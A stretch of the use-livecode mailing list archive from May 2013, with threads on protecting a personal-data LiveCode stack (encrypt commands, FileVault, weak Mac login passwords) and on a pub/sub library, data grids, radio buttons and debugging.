AM, Paul Hibbert wrote: > Tim, > > I came across a topic on stack exchange that you may be interested in? > > > http://security.stackexchange.com/questions/18720/how-secure-is-filevault-2-while-the-computer-is-in-sleep-mode > > There is a link to Apple's white paper on FileVault 2, this may help > answer some of your concerns, but you should also be aware of software from > here? > > http://www.lostpassword.com > > It seems if you have $995 to spare you can access almost any password > protected file or volume, so they say. > > In the end, only you can decide how physically vulnerable your machine is, > but to me at least, it does appear that FileVault could be more secure than > a just password protected stack, however I'm no expert on file security. > > HTH > > Paul > > On 2013-05-05, at 11:29 PM, Timothy Miller wrote: > > > Years ago, when I first wrote my "rolodex" stack, I intended to store > phone numbers, addresses, passwords, credit card numbers, bank account > numbers, and other useful information in one convenient place, one stack in > a suite of stacks I use in my day to day business. If these fell into the > wrong hands, any small time crook could completely take over my identity > and the identities of others. I was also concerned about security if I > needed to get the machine serviced. > > > > At the time, Macs secured by log-in password only, weren't very secure, > as I recall. For example, if you restarted the machine with command-T down, > and connected to another machine by Firewire, you could use the first > machine as if it were an external hard disk. In that case, the log-in > password gave you no protection. FileVault did not exist at the time. > > > > So, with Jacque's help, I set up an encryption system for my "rolodex" > stack. If a given card was security sensitive, I'd click on a button, > enter the password, and certain fields were hashed and hidden. Click on the > same button, enter the same password, the fields were un-hashed and > un-hidden. Because the stack was password-protected, you couldn't peek at > the button script to find out the key for hashing and un-hashing the > fields. "Set the password of this stack to foo" didn't work unless you > first un-protected the stack, which required the master password for the > stack. There were other details, but that's the general idea. It wasn't > perfect, but I was satisfied with it. As I recall, a tech-savvy person > could, in theory, use a text editor to discover the master password for the > stack. > > > > Now, I'm switching to LiveCode Community 6.0.1, so I have to re-think > security for this stack. > > > > One possibility is to re-write the script for the hash-and-hide button, > using the encrypt and decrypt commands. If I choose that route, I'll > probably have to pay a consultant. I can actually do Chinese arithmetic, > but that's easy compared to the documentation for those commands. > > > > It also occurred to me that I could just enable FileVault -- hadn't used > it before. > > > > Now that I've tried FileVault, I've realized how little I understand > about the topic of security for modern Mac machines and OS. Hence, the > following questions: > > > > 1-If my machine is lost or stolen, while shut down, how hard would it be > to get past the log-in password, to my relatively insecure "rolodex" stack? > How does one get past the log-in password? (for this question and the next > two, assume FileVault is turned off.) > > > > 2-If I set up an administrator account for technicians, with a different > log-in password, how hard would it be for the technician to get past the > log-in password for my user account? > > > > 3-In recent versions of the OS, does my log-in password protect the hard > disk when it's removed from my machine? How hard is it to defeat that > protection? > > > > 4-Given that you can't use my machine to launch a nuclear missile, do I > really need the ultra-secure protection provided by FileVault? > > > > BTW, if this stack ever leaves my machine, for the cloud or a USB thumb > drive, for instance, I always encrypt it first, usually with StuffIt Deluxe. > > > > > > Thanks in advance, > > > > > > Tim Miller > > > > > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From appsfoundry67 at gmail.com Mon May 6 10:44:02 2013 From: appsfoundry67 at gmail.com (Apps Foundry) Date: Mon, 6 May 2013 09:44:02 -0500 Subject: LiveCode Beginner Question Message-ID: Oddly enough I was bit by something very similar last week: I was putting together a small demo for a new convert to LiveCode, and was hurrying and distracted, running late for an LC tutorial with him. I stupidly typed something like: put "label-string: " and someVar after field "foo" instead of put "label-string: " & someVar after field "foo" and was getting a mysterious "false" popping up in the message box. After binary-searching my way through the code with debugging prints for an annoyingly-long time, I finally spotted the error. Still had to scratch my head a bit to figure out how THAT mistake cause THAT message to pop up in the mbox, until I realized that the parser must have AND'd "label-string:" with "someVar after field "foo"" and decided somehow that it evaluated to false. Then, having sucked up the whole rest of the statement in the AND evaluation, it had nowhere to PUT the result but the massage box... Of course I said to myself afterward "Boy, how likely is it I'll ever see THAT screwup again". Shawn's problem sounds suspiciously similar. I will leave the appropriate regex to find this kind of thing to people with brains that are more grep-like than mine is these days... Larry ps: But many thanks to Jacque, et al for pointing out the target icon in LC 6.0.x. Now if we could just get the intersect/opaque-pixels bug fixed, I could start using the Community Edition in my "iPad game programming for 8-12 year olds" classes! From ambassador at fourthworld.com Mon May 6 10:56:43 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 06 May 2013 07:56:43 -0700 Subject: [OT] Security for stacks with Community version In-Reply-To: References: Message-ID: <5187C4AB.3020709@fourthworld.com> Andrew Kluthe wrote: > Was it not mentioned long ago that a password protected stack's script and > custom properties could be accessed in memory while it is running in a > stand alone? So your data was probably never as secure as you really > thought it was. I believe RunRev engineers are exploring options for that, but really the issue affects all applications at some level or another: Those with the skills and interest to use low-level debugging tools can apply them to using disassemblers on core dumps to learn the algorithms of any process. True, LiveCode is more easily readable, but given the sorts of things it's used for it's also less interesting. The rule of protecting media also applies to algorithms: the only sure way to protect them is to never distribute them. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From bvg at mac.com Mon May 6 11:13:45 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Mon, 06 May 2013 17:13:45 +0200 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: References: Message-ID: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> I remember mark wieder once had a talk on one of the conferences about something like this. He called it "central station" or "schedule central"... don't remember, something with "central"? I remember that it was more complex (or maybe i'm more familiar with the concept now?), with a unified way to subscribe to messages and functions, as well as ways to work around missing subscribers etc. On 06.05.2013, at 16:36, Andre Garzia wrote: > Hey Folks, > > I just released a tiny library I am using here in some projects. It is a > publisher/subscriber implementation (aka the observer pattern). Its a > really small library and one could clone it in five minutes but the work is > already done, it is public domain and unlocked. > > I am also testing a new site implementation so bear with me while my site > resumes working correctly. Not all content is back up yet. > > Please, I appreciate feedback on the new site (even as the content is not > complete yet). The new site is responsive so you can open it on your tablet > or mobile phone and it should just work. > > http://www.andregarzia.com/posts/en/pubsub/ > > Cheers > Andre "I hope the site stays up" Garzia > > -- > http://www.andregarzia.com -- All We Do Is Code. > http://fon.nu -- minimalist url shortening service. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From andre at andregarzia.com Mon May 6 11:18:56 2013 From: andre at andregarzia.com (Andre Garzia) Date: Mon, 6 May 2013 12:18:56 -0300 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> Message-ID: On Mon, May 6, 2013 at 12:13 PM, Bj?rnke von Gierke wrote: > I remember mark wieder once had a talk on one of the conferences about > something like this. He called it "central station" or "schedule > central"... don't remember, something with "central"? > > I remember that it was more complex (or maybe i'm more familiar with the > concept now?), with a unified way to subscribe to messages and functions, > as well as ways to work around missing subscribers etc. > Hi There Bj?rnke, Yes, Mark created something along these lines but more complex and with more features. IIRC it was created in the Rev 2.x era so it probably uses send calls while I am using dispatch (and thats why I do not care about missing subscribers). My lib is very minimal but it works. Marks lib had more features in it. I can't recall where he distributes his library. Cheers andre -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From bvg at mac.com Mon May 6 11:23:09 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Mon, 06 May 2013 17:23:09 +0200 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> Message-ID: <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> Well I didn't want to start a feature comparision war :) just remembered his, and thought that you and him so often do the same things xD Personally, I'd like an LC IDE that uses this concept to handle plugins and multiple palettes that aim at the same task. Of course I never get around to implement it :( On 06.05.2013, at 17:18, Andre Garzia wrote: > On Mon, May 6, 2013 at 12:13 PM, Bj?rnke von Gierke wrote: > >> I remember mark wieder once had a talk on one of the conferences about >> something like this. He called it "central station" or "schedule >> central"... don't remember, something with "central"? >> >> I remember that it was more complex (or maybe i'm more familiar with the >> concept now?), with a unified way to subscribe to messages and functions, >> as well as ways to work around missing subscribers etc. >> > > Hi There Bj?rnke, > > Yes, Mark created something along these lines but more complex and with > more features. IIRC it was created in the Rev 2.x era so it probably uses > send calls while I am using dispatch (and thats why I do not care about > missing subscribers). My lib is very minimal but it works. Marks lib had > more features in it. I can't recall where he distributes his library. > > > Cheers > andre > > > -- > http://www.andregarzia.com -- All We Do Is Code. > http://fon.nu -- minimalist url shortening service. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From andrew at ctech.me Mon May 6 11:25:44 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Mon, 6 May 2013 10:25:44 -0500 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> Message-ID: This is very rad. I have been needing something exactly like this. Thanks! On Mon, May 6, 2013 at 10:18 AM, Andre Garzia wrote: > On Mon, May 6, 2013 at 12:13 PM, Bj?rnke von Gierke wrote: > > > I remember mark wieder once had a talk on one of the conferences about > > something like this. He called it "central station" or "schedule > > central"... don't remember, something with "central"? > > > > I remember that it was more complex (or maybe i'm more familiar with the > > concept now?), with a unified way to subscribe to messages and > functions, > > as well as ways to work around missing subscribers etc. > > > > Hi There Bj?rnke, > > Yes, Mark created something along these lines but more complex and with > more features. IIRC it was created in the Rev 2.x era so it probably uses > send calls while I am using dispatch (and thats why I do not care about > missing subscribers). My lib is very minimal but it works. Marks lib had > more features in it. I can't recall where he distributes his library. > > > Cheers > andre > > > -- > http://www.andregarzia.com -- All We Do Is Code. > http://fon.nu -- minimalist url shortening service. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From andre at andregarzia.com Mon May 6 11:30:13 2013 From: andre at andregarzia.com (Andre Garzia) Date: Mon, 6 May 2013 12:30:13 -0300 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> Message-ID: On Mon, May 6, 2013 at 12:23 PM, Bj?rnke von Gierke wrote: > Well I didn't want to start a feature comparision war :) > > just remembered his, and thought that you and him so often do the same > things xD > The truth is that I often think "What Would Mark Do" and then I just copy it.... :-P -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From shawnlivecode at gmail.com Mon May 6 11:35:08 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Mon, 6 May 2013 10:35:08 -0500 Subject: Can a radio button be multi-line or wrapped? In-Reply-To: <8306ED2D-AE36-45A8-9D56-0D31B9A015A1@mac.com> References: <8306ED2D-AE36-45A8-9D56-0D31B9A015A1@mac.com> Message-ID: That helped me out. Thank you Randy. On Sun, May 5, 2013 at 4:16 PM, Randy Hengst wrote: > Yes?. in the message box type: > > set the label of button "RadioDemo" to "this is one" & return & "long > button label" > > be well, > randy > ----- > On May 5, 2013, at 4:08 PM, Shawn Blc wrote: > > > Can a radio button be multi-line or wrapped? > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Mon May 6 12:17:19 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 06 May 2013 11:17:19 -0500 Subject: Finding orphaned "put" In-Reply-To: <31978B86-E263-45AB-873B-4B20E65319F7@paulmaguire.me> References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> <5186F115.4000000@tweedly.net> <31978B86-E263-45AB-873B-4B20E65319F7@paulmaguire.me> Message-ID: <5187D78F.2010206@hyperactivesw.com> On 5/6/13 6:33 AM, Paul Maguire wrote: > This was a good thread - ta! > > My simple question is - does putting stuff slowdown runtime > performance? In my first bit of iOS/Android development I'm putting > stuff all the time and checking it in Console to help debug... It shouldn't make a dent in the speed, it's just pushing thing to stdout. The engine is very fast. One of the (relatively) slowest things to do is read/write to fields, and you aren't doing that. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From abilitybf at att.net Mon May 6 13:32:31 2013 From: abilitybf at att.net (Joe Hamburger) Date: Mon, 6 May 2013 10:32:31 -0700 (PDT) Subject: Data Grid Question In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> Message-ID: <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> Hi Mike, Thanks for the information. Unfortunately, there seems to be a few things wrong with my livecode program. One symptom is that every time I use it the revpallet becomes the top stack. The pertinant problem in this case though is the "Column Behavior..." button and the "+" button next to it are both disabled. Is there another way to achieve the constant line number column? I'm using Mac version 5.2.2. I'm not able to install the newer version either. Joe Orlando, FL, USA ________________________________ From: Mike Bonner To: How to use LiveCode Sent: Sat, May 4, 2013 4:20:30 PM Subject: Re: Data Grid Question Look here... http://lessons.runrev.com/s/lessons/m/datagrid/l/7329-how-do-i-display-line-numbers-in-a-table On Sat, May 4, 2013 at 2:08 PM, Joe Hamburger wrote: > Hi, > > Is it possible to have a column in a data grid that doesn't change when the > other columns are sorted? What I'm trying to do is create a ranking system > of my > accounts. The first column is the rank number so I want that to be > constant and > not sortable. I still want to scroll that column with the others so I know > the > rank number of a line. Hopefully, there's a way to show the line numbers > in a > column? > > Thanks in advance for your help. > > Joe > Ability Business Forms > Orlando, FL USA > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From gandalf at doctorTimothyMiller.com Mon May 6 13:38:37 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Mon, 6 May 2013 10:38:37 -0700 Subject: [OT] Security for stacks with Community version In-Reply-To: <5187C4AB.3020709@fourthworld.com> References: <5187C4AB.3020709@fourthworld.com> Message-ID: <1542E12F-1F06-4B34-AE68-B8D455C885DD@doctorTimothyMiller.com> On May 6, 2013, at 7:56 AM, Richard Gaskin wrote: > Andrew Kluthe wrote: >> Was it not mentioned long ago that a password protected stack's script and >> custom properties could be accessed in memory while it is running in a >> stand alone? So your data was probably never as secure as you really >> thought it was. Thank you for your comments Richard. I never thought my data was profoundly secure. The level of security was acceptable to me. This stack was never a standalone -- I don't know if that's relevant. Like I said, I am mostly concerned about identity theft by a fairly ordinary criminal, with a little technical knowledge, if the machine were lost or stolen, while asleep (requiring a login password to wake) or shut down. On May 6, 2013, at 6:58 AM, Paul Hibbert wrote: > It seems if you have $995 to spare you can access almost any password protected file or volume, so they say. Thanks, Paul. If someone obtained my lost or stolen machine, he could easily make a profit on the invested $995 by stealing my identity and those of others, if he were a skilled and highly motivated identity thief. On the other hand, he would have to know my machine held all that sensitive information. Otherwise, he would not want to invest the $995. Few thieves want to invest money in a theft. They want quick cash. I'd be more concerned about a crooked technician. Even then, dishonest technicians are going to pick the low-hanging fruit. They aren't going to invest $995, hoping to make a profit. On May 6, 2013, at 7:39 AM, Andrew Kluthe wrote: > As for the documentation on those encrypt/decrypt commands, they seem > pretty straight forward. > get "bla" > encrypt it using "blowfish" with "1234567" > put it Thank you, Andrew. Sure, it's possible I will figure out how to script these commands. I don't get your example. As far as I can tell, it's worthless if anyone can look at the relevant script to discover the encrypting keys. But let's save that for another thread. Getting back to my original question. I should have been more precise and concise. Mostly, I'm trying to understand how secure, or insecure, my machine is, if lost or stolen, if protected only with a login password. I'll repeat my main questions: On May 5, 2013, at 11:29 PM, Timothy Miller wrote: > 1-If my machine is lost or stolen, while shut down, how hard would it be to get past the log-in password, to my relatively insecure "rolodex" stack? How does one get past the log-in password? (for this question and the next two, assume FileVault is turned off.) > > 2-If I set up an administrator account for technicians, with a different log-in password, how hard would it be for the technician to get past the log-in password for my user account? > > 3-In recent versions of the OS, does my log-in password protect the hard disk when it's removed from my machine? How hard is it to defeat that protection? > > 4-Given that you can't use my machine to launch a nuclear missile, do I really need the ultra-secure protection provided by FileVault? Thanks in advance, Tim Miller From bonnmike at gmail.com Mon May 6 13:42:40 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 6 May 2013 11:42:40 -0600 Subject: Data Grid Question In-Reply-To: <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> Message-ID: Hmm. You are using a datagrid in table format right? Not form? If you are using the form and have set up your own datagrid template, then you can most likely just use the behavior script of the form do do what you need. (if this is the case, let me know and I'll figure out script modifications to make it work) If its the standard table type and you are on the columns pane of the property inspector, and have the column in question selected, then I don't know what the problem might be. You should be able to set up a custom column template (the plus button) and then modify its script. Since you're not able to do so then i'm not sure how to fix it. If you don't mind sharing the stack I (and others) could take a look at it and maybe figure out whats up. Of course if its your installation that is acting up and not something askew with the stack itself not sure how much help I could be that way either. I'd be willing to take a shot though if you want to send it. On Mon, May 6, 2013 at 11:32 AM, Joe Hamburger wrote: > Hi Mike, > > Thanks for the information. Unfortunately, there seems to be a few things > wrong > with my livecode program. One symptom is that every time I use it the > revpallet > becomes the top stack. The pertinant problem in this case though is the > "Column > Behavior..." button and the "+" button next to it are both disabled. Is > there > another way to achieve the constant line number column? I'm using Mac > version > 5.2.2. I'm not able to install the newer version either. > > Joe > Orlando, FL, USA > > > > ________________________________ > From: Mike Bonner > To: How to use LiveCode > Sent: Sat, May 4, 2013 4:20:30 PM > Subject: Re: Data Grid Question > > Look here... > > http://lessons.runrev.com/s/lessons/m/datagrid/l/7329-how-do-i-display-line-numbers-in-a-table > > > > On Sat, May 4, 2013 at 2:08 PM, Joe Hamburger wrote: > > > Hi, > > > > Is it possible to have a column in a data grid that doesn't change when > the > > other columns are sorted? What I'm trying to do is create a ranking > system > > of my > > accounts. The first column is the rank number so I want that to be > > constant and > > not sortable. I still want to scroll that column with the others so I > know > > the > > rank number of a line. Hopefully, there's a way to show the line numbers > > in a > > column? > > > > Thanks in advance for your help. > > > > Joe > > Ability Business Forms > > Orlando, FL USA > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From richmondmathewson at gmail.com Mon May 6 13:55:18 2013 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 06 May 2013 20:55:18 +0300 Subject: Cheapjack development for Windows In-Reply-To: <90A4482C-10D0-4D28-86F7-14E3A8A84B28@gmail.com> References: <51821F3E.3000404@gmail.com> <518355C1.6030304@gmail.com> <6D103364-3751-440F-9A82-6D860621AACF@paulmaguire.me> <518392AB.2070200@gmail.com> <7FC9145C-4701-462F-B7D1-48297E12C024@paulmaguire.me> <51841FC3.8020906@hyperactivesw.com> <90A4482C-10D0-4D28-86F7-14E3A8A84B28@gmail.com> Message-ID: <5187EE86.2080801@gmail.com> On 05/06/2013 04:40 AM, Peter M. Brigham wrote: > On May 3, 2013, at 4:36 PM, J. Landman Gay wrote: > >> Richmond, cheer up, or as Monte Python says, we'll hang you by the neck until you do. > Company-Wide Notice: > The floggings will continue until morale improves. Well, I don't know about anybody else, but my morale HAS improved a fair bit (although I do not take back those postings involving the word 'daft' as they were not rude, just direct) owing to 3 things: 1. Sorted my computer out :) 2. Have a 5 day weekend away in our country villa with my wife, my cat and a pile of books, and NO computer. 3. "eventually you will come to appreciate his brand of twisty thoughts: did me no end of good! So; be warned, I'm back: bigger, 'ruder' (and RUDER) and more Livecodingy (err . . . dubious adjective there) than ever. Richmond. > > -- Peter > > Peter M. Brigham > pmbrig at gmail.com > http://home.comcast.net/~pmbrig > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Mon May 6 14:19:43 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 6 May 2013 18:19:43 +0000 (UTC) Subject: [ANN] simple publisher/subscriber library for LiveCode References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> Message-ID: Andre Garzia writes: > The truth is that I often think "What Would Mark Do" and then I just copy > it.... :-P Andre and I could get so much more done if we didn't keep following each other around with "What Would Not(Me) Do" all the time... -- Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Mon May 6 14:26:44 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 06 May 2013 13:26:44 -0500 Subject: [OT] Security for stacks with Community version In-Reply-To: <1542E12F-1F06-4B34-AE68-B8D455C885DD@doctorTimothyMiller.com> References: <5187C4AB.3020709@fourthworld.com> <1542E12F-1F06-4B34-AE68-B8D455C885DD@doctorTimothyMiller.com> Message-ID: <5187F5E4.1030800@hyperactivesw.com> On 5/6/13 12:38 PM, Timothy Miller wrote: > I don't get your example. As far as I can tell, it's worthless if > anyone can look at the relevant script to discover the encrypting > keys. But let's save that for another thread. Well, as long as we're in this thread...blowfish is an algorithm, one of several encryption schemes you can choose from. It's considered one of the more secure ones if I remember right. There is no problem including the word "blowfish" in the script, it doesn't tell a snooper how to decrypt. The "1234567" is the password. You'd ask for that in a password dialog, don't store it in the stack. That's pretty much what your stack does now anyway. It's been long enough that I can't remember what algorithm we used, but it shouldn't be hard to change the existing one to blowfish. The script flow would be the same. >> 1-If my machine is lost or stolen, while shut down, how hard would >> it be to get past the log-in password, to my relatively insecure >> "rolodex" stack? How does one get past the log-in password? (for >> this question and the next two, assume FileVault is turned off.) Not hard. Google for "bypass Mac login password" and you'll find all kinds of ways. >> 2-If I set up an administrator account for technicians, with a >> different log-in password, how hard would it be for the technician >> to get past the log-in password for my user account? Not hard. It is also possible to bypass the firmware password, which is different than the software login one. >> >> 3-In recent versions of the OS, does my log-in password protect the >> hard disk when it's removed from my machine? How hard is it to >> defeat that protection? If the drive contains an OS, it would act the same way as it does in your Mac right now. It would ask for a password which could be bypassed. If you are replacing a drive, it's fairly common to mangle the old one with a hammer or a chainsaw before disposing of it. Alternately, before replacement, secure-delete sensitive files; Finder can do that (File -> Secure empty trash). >> >> 4-Given that you can't use my machine to launch a nuclear missile, >> do I really need the ultra-secure protection provided by >> FileVault? I've never used FileVault but I hear it's pretty solid protection. On the other hand, using the encrypt command in your scripts is very secure too. If you want to keep your workflow the way it is now, I'd use encrypt. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jhj at jhj.com Mon May 6 14:29:11 2013 From: jhj at jhj.com (Jerry Jensen) Date: Mon, 6 May 2013 11:29:11 -0700 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> Message-ID: On May 6, 2013, at 11:19 AM, Mark Wieder wrote: > Andre Garzia writes: > >> The truth is that I often think "What Would Mark Do" and then I just copy >> it.... :-P > > Andre and I could get so much more done if we didn't keep following each > other around with "What Would Not(Me) Do" all the time... In spite of the danger of recursion, we're better off with you two the way you are! .Jerry From alex at tweedly.net Mon May 6 14:48:57 2013 From: alex at tweedly.net (Alex Tweedly) Date: Mon, 06 May 2013 19:48:57 +0100 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> Message-ID: <5187FB19.4000506@tweedly.net> One thing Mark could do is tell us whether and where he makes his version of pub/sub available, and what license it is/was issued under. :-) Thanks -- Alex. On 06/05/2013 19:19, Mark Wieder wrote: > Andre Garzia writes: > >> The truth is that I often think "What Would Mark Do" and then I just copy >> it.... :-P > Andre and I could get so much more done if we didn't keep following each > other around with "What Would Not(Me) Do" all the time... > From me at paulmaguire.me Mon May 6 14:55:13 2013 From: me at paulmaguire.me (Paul Maguire) Date: Mon, 6 May 2013 19:55:13 +0100 Subject: Finding orphaned "put" In-Reply-To: <5187D78F.2010206@hyperactivesw.com> References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> <5186F115.4000000@tweedly.net> <31978B86-E263-45AB-873B-4B20E65319F7@paulmaguire.me> <5187D78F.2010206@hyperactivesw.com> Message-ID: On 6 May 2013, at 17:17, J. Landman Gay wrote: > On 5/6/13 6:33 AM, Paul Maguire wrote: >> My simple question is - does putting stuff slowdown runtime >> performance? > It shouldn't make a dent in the speed, it's just pushing thing to stdout. The engine is very fast. One of the (relatively) slowest things to do is read/write to fields, and you aren't doing that. Thanks for this. Putting stuff in Director (my other life) has an impact on engine speed, especially if it is a large string. Kind regards, Paul. From monte at sweattechnologies.com Mon May 6 15:38:12 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Tue, 7 May 2013 05:38:12 +1000 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: References: Message-ID: Nice Andre! Very handy. In Objective-C this is the NotificationCenter and it's what mergNotify is built on. -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From mwieder at ahsoftware.net Mon May 6 15:41:29 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 6 May 2013 19:41:29 +0000 (UTC) Subject: [ANN] simple publisher/subscriber library for LiveCode References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> <5187FB19.4000506@tweedly.net> Message-ID: Alex Tweedly writes: > > One thing Mark could do is tell us whether and where he makes his > version of pub/sub available, and what license it is/was issued under. Er... it used to be on revOnline. I can't check at the moment, but I'll take a look later on. And it's just public domain - do what you want. Or use Andre's version - I'll have to check that out as well. Keep in mind that I started mine some seven or eight years ago, and I don't remember whether I updated the "send" commands to "dispatch" somewhere along the way or not. -- Mark Wieder mwieder at ahsoftware.net From andre at andregarzia.com Mon May 6 15:46:43 2013 From: andre at andregarzia.com (Andre Garzia) Date: Mon, 6 May 2013 16:46:43 -0300 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> <5187FB19.4000506@tweedly.net> Message-ID: Thanks for the kind words guys! Monte, I stole "addEventListener" from Javascript, my Objective-C is a tad rusty. Mark, I just checked revOnline (the web version) and could not find your stack, maybe it was lost in the revonlinepocalypse of the 2000ish years) On Mon, May 6, 2013 at 4:41 PM, Mark Wieder wrote: > Alex Tweedly writes: > > > > > One thing Mark could do is tell us whether and where he makes his > > version of pub/sub available, and what license it is/was issued under. > > Er... it used to be on revOnline. I can't check at the moment, but I'll > take > a look later on. And it's just public domain - do what you want. Or use > Andre's version - I'll have to check that out as well. Keep in mind that I > started mine some seven or eight years ago, and I don't remember whether I > updated the "send" commands to "dispatch" somewhere along the way or not. > > -- > Mark Wieder > mwieder at ahsoftware.net > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From mwieder at ahsoftware.net Mon May 6 15:58:35 